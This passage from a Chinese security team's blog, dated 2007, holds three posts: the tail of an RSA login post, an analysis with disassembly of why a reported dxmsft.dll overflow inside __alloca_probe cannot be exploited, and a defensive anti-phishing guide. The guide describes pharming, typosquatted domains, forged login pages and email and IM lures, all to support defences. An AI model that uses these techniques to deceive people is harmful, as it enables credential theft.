解决这个问题并不困难,有两个办法:第一,可以使用https的方式来传输这个public key,像https://www.test.com/login/publickey.txt这 样来访问。在出现证书报警的时候提示用户不要进行下一步操作,终止整个登陆过程。这样public key依旧可以方便的修改而不用重新编译。第二,如果因为HTTPS会给服务器带来较大运算压力,也可以将public key直接写在java applet或者flash中。这样不用每次去抓取public key,只是定期更换public key会比较麻烦,需要重新编译java applet或者flash程序。

最后,说一下屏幕截取。刺提起过这个问题,其实我在构思这个解决方案的时候,就想到了这种攻击。不过屏幕截取来查看用户的鼠标点击,还是比较困难的,难以截取准确的时间段。防御的方法,或许就只能写驱动了。

关于刺的文章,可以在我们的blog查看,url为http://pstgroup.blogspot.com/2007/11/tipsqqrsa.html。腾讯的注册那里,使用的js加密代替https的方法,可以看我以前写的文章。他们会不会买硬件加密卡了?呵呵。

祝luoluo生日快乐~!

2007年11月20日星期二

[Tips]关于call __alloca_probe中的"溢出"

by axis
2007-11-21
http://www.ph4nt0m.org

这两天在FD上有人说他发现了dxmsft里的多个溢出,他向微软报告,微软不理他,他就发到FD上了。
漏洞链接: Multiple stack-based buffer overflows in dxmsft.dll


跟了一下,发现这个“溢出”是发生在__alloca_probe里的,那么微软不理他也是正常的。
在我的机器里


这个调用是怎么一回事呢? 为什么说这里没用呢?

以前我在网上收集了一个tips,这里转贴一下,原出处已经忘了。

这个函数是在很多程序中间都能够看到的一个东西,Caller Function 调用了这个以后,堆栈结构就不再是一般的BP Frame 了,而变成Local Variable 使用 ESP 定位的方式了,一般用来在堆栈里分配大量的空间。它一般在Caller Function 构建好BP Frame 之后马上调用,EAX 中存放需要分配的字节数。函数返回之后 ESP = EBP - EAX。



.text:00458210 __alloca_probe  proc near               ; CODE XREF: .text:00414718p
.text:
00458210                                         ; sub_41487A+8p 
.text:
00458210
.text:
00458210 savedEBP        = dword ptr  8
.text:
00458210
.text:
00458210                 push    ecx
.text:
00458211                 cmp     eax, 1000h
.text:
00458216                 lea     ecx, [esp+savedEBP]
.text:0045821A                 jb      
short AllocLess1000h
.text:0045821C
.text:0045821C AllocStack1000h:                        ; CODE XREF: __alloca_probe
+1Ej
.text:0045821C                 sub     ecx, 1000h
.text:
00458222                 sub     eax, 1000h
.text:
00458227                 test    [ecx], eax      ; 看是否溢出
.text:
00458229                 cmp     eax, 1000h
.text:0045822E                 jnb     
short AllocStack1000h
.text:
00458230
.text:
00458230 AllocLess1000h:                         ; CODE XREF: __alloca_probe+Aj
.text:
00458230                 sub     ecx, eax
.text:
00458232                 mov     eax, esp        ; 记录原来的堆栈指针
.text:
00458234                 test    [ecx], eax      ; 看是否溢出
.text:
00458236                 mov     esp, ecx        ; 修改堆栈指针
.text:
00458238                 mov     ecx, [eax]      ; 相当于 pop ecx
.text:0045823A                 mov     eax, [eax
+4]    ; 这里存放的是返回地址
.text:0045823D                 push    eax             ; 构建一个假的Far Return 堆栈返回地址
.text:0045823E                 retn
.text:0045823E __alloca_probe  endp



注意: call __alloca_probe是用来分配空间的,如果溢出发生在这里,则说明是超出了栈空间,会有test [ecx], eax ; 看是否溢出 来检测, [ecx]指向字符串的指针.
所以溢出发生在这里是没有用的,是不能利用的。
比如yahoo messanger的activex 里的ywcupl.dll里的 ThrowViewer() GrantRequest()调用等...




BTW:好像这个dxmsft的我以前也fuzz出来过,不过看是发生在__alloca_probe就自动忽略了,如果去fuzz的话,应该能找出很多这种

[Paper]Anti-Phishing HowTo

Author: axis

Date: 2007-11-20

Team: http://www.ph4nt0m.org

Corp: Alibaba B2B Corp. / Information Security

前言:

本文是一篇总结性质的文章。关于钓鱼与防钓鱼方面的paper很多,也许本文并没有什么新观点,也没有面面俱到。本文着重从互联网企业角度来谈谈如何防钓鱼。本文尽可能用简明的语言把问题描述清楚,但是某些涉及到细节的地方由于商密问题,不做详细解释,但是从我说的原理中完全可以推导出应该如何来做。希望本文对一些朋友能有帮助。

1. Pharming & Phishing

Pharming的概念和Phishing还是有点区别的。

Pharming:此类攻击有多种方式,但目的都是让目标域名指向虚假IP

可能使用的技术手段有:通过恶意软件修改hosts表,或者在DNS服务器中将网站域名指向恶意网站,或者通过类似DNS PoisoningArp欺骗等手段来实现。Pharming攻击的过程中在开始阶段用户难以发现。

Phishing则往往是伪造一个url,或者是欺诈性邮件里包含一个指向恶意网站的链接,通过类似手段来达欺骗用户访问钓鱼网站的目的。

2. Know Your Enemies

2.1 URL欺骗

Phishing Attacks往往是伴随着URL欺骗的,即用类似的URL,让用户误以为是真实网站,从而被欺骗。

l 例如:http://www.taobao123.com

l http://www.alibeba.com

2.2 伪造页面

钓鱼网站最直接的表现形式即为伪造页面。通过前面的url欺骗后,再伪造页面来进一步欺骗用户。如果欺骗成功,则用户到了此时会完全相信该网站的真实性。

伪造页面的图片、框架都可以是引用真实网站的,但是攻击者在需要的地方则改成了他自己phishing的东西。

伪造页面的危害本质在于,他利用了网站的信用度,欺骗了用户。

如下模仿163的登录页面来获取密码

2.3 邮件钓鱼

邮件钓鱼是发送一封包含欺骗性内容的邮件,以达到欺骗用户的目的。

如下例,发件人冒充成yahoo人员

在邮件正文中,则欺骗用户访问钓鱼网站


2.4 IM中实施钓鱼攻击

现在在各类流行的IM中都存在各种欺诈信息。

这类欺诈信息有的是直接骗取用户去访问伪造页面过的钓鱼网站,有的也是直接欺诈银行卡密码等敏感信息。

3. Anti-Phishing Solutions

3.1 在用户login之前实施防钓鱼措施

关键理念: 识别机器而不是识别用户。

成功案例:YahooAlibaba

如图,登录入口的右上角有一个用户事先设定好的“登录印章”。用户在登录时只要看到这个印章,则可确认网站的真实性。

通过cookie来判断网站的真实性。因为浏览器只有在访问到真实的网站时,才会调用到事先保存好的真实cookie,所以可以通过这个方法来判断网站的真实性

通过其他辅助手段让cookie可以在用户清除cookie时仍然存在,以及使得登录印章的cookie在不同浏览器比如firefoxIE的情况下通用。技术实现在此不再赘述。目前yahooalibaba都采用了这种做法。

注意: 此方法的精华是让用户参与这个过程,但是在实际实施过程中可能会遇到对用户要求门槛较高的问题,这时候可以根据具体需求,来调整用户是否参与该过程,以及保护用户范围。(即保护所有用户,还是只保护网站注册用户)

使用登录印章是一种主动的积极防御,难点在于用户意识习惯的培养。

可以考虑将登录印章放在页面最顶上的top页面里,摆在网站logo旁边的显眼位置,这样对于伪造页面的钓鱼网站来说是一个致命的打击。(有的钓鱼网站不需要用户登录,而是以欺诈信息为主)

3.2 使用浏览器Toolbar防止钓鱼攻击

成功案例:

Microsoft Phishing Filter Ali Toolbar等。

浏览器的Toolbar 在与网站业务整合时,也能够附带有防钓鱼的功能.

主要功能是:

Ø 对比访问url与已知恶意网站、或者可疑的url,发出报警或阻断.

Ø 提供数据库在线更新

Ø 让用户可以自行报告恶意网站



核心设计理念:

l 对知名网站url做拼写检查

l Update恶意网站数据库,对知名恶意网站做阻断

l 让用户帮助完善恶意网站数据库

使用浏览器toolbar的难点在于推广,以及用户的抵制心理。 同时这种防御是一种消极的防御。

3.3使用邮件过滤技术实现反邮件钓鱼

成功案例:微软等

l 验证sender id

注意:邮件的发件人是可以伪造的,许多网站在展示邮件的时候,没有验证邮件发件人的所在域和发送邮件的服务器是否一致,这样导致攻击者可以伪造成系统或其他任何人来发送欺诈邮件。事实上查看原始邮件头是能识别的,但是许多知名邮件服务提供商都没有做这一步。

l 验证邮件中的恶意链接,并报警

可以采用与toolbar中同样的做法,对于已知的,或者是怀疑的链接,进行报警或者阻断.

3.4 IM中的防钓鱼措施

IM中的欺诈信息非常多,常见的做法是对恶意链接报警或者阻断。

3.5发布对外接口来收集钓鱼网站信息

用户往往是最快发现钓鱼网站的,通过客服、用户举报,能够收集到很多钓鱼网站的信息。

在发现钓鱼网站后,常见的做法是联系钓鱼网站服务器所在的服务商,关闭钓鱼网站。

3.6长期的教育是必不可少的

防钓鱼是一个长期而艰巨的过程。

人民币在设计上内置了许多难以模仿的地方,比如水印、盲点等,每个人都会通过这些特征来判断人民币的真伪。因为这些特征都是深入人心的。

所以长期的教育是必不可少的,需要慢慢培养用户的习惯。

4. Conclusion

钓鱼的问题是由于协议和标准设计的缺陷造成的,很难被消灭。本文总结了一些常见的钓鱼手段和防御方法。

在几种方案中,我更倾向于第一种使用登录印章的主动防御,虽然门槛高一点,但却是一种主动的防御。我们需要为用户提供一种途径,满足用户在安全方面的需求。

在实际实施过程中,可以几种方案有机结合,以取得较好的效果。

钓鱼攻击是一种典型的以损害用户利用为目的的欺诈行为,希望国家相关部门能够尽早完善相关法规,使得这一攻击行为的定义,与防范的手段变得规范化起来。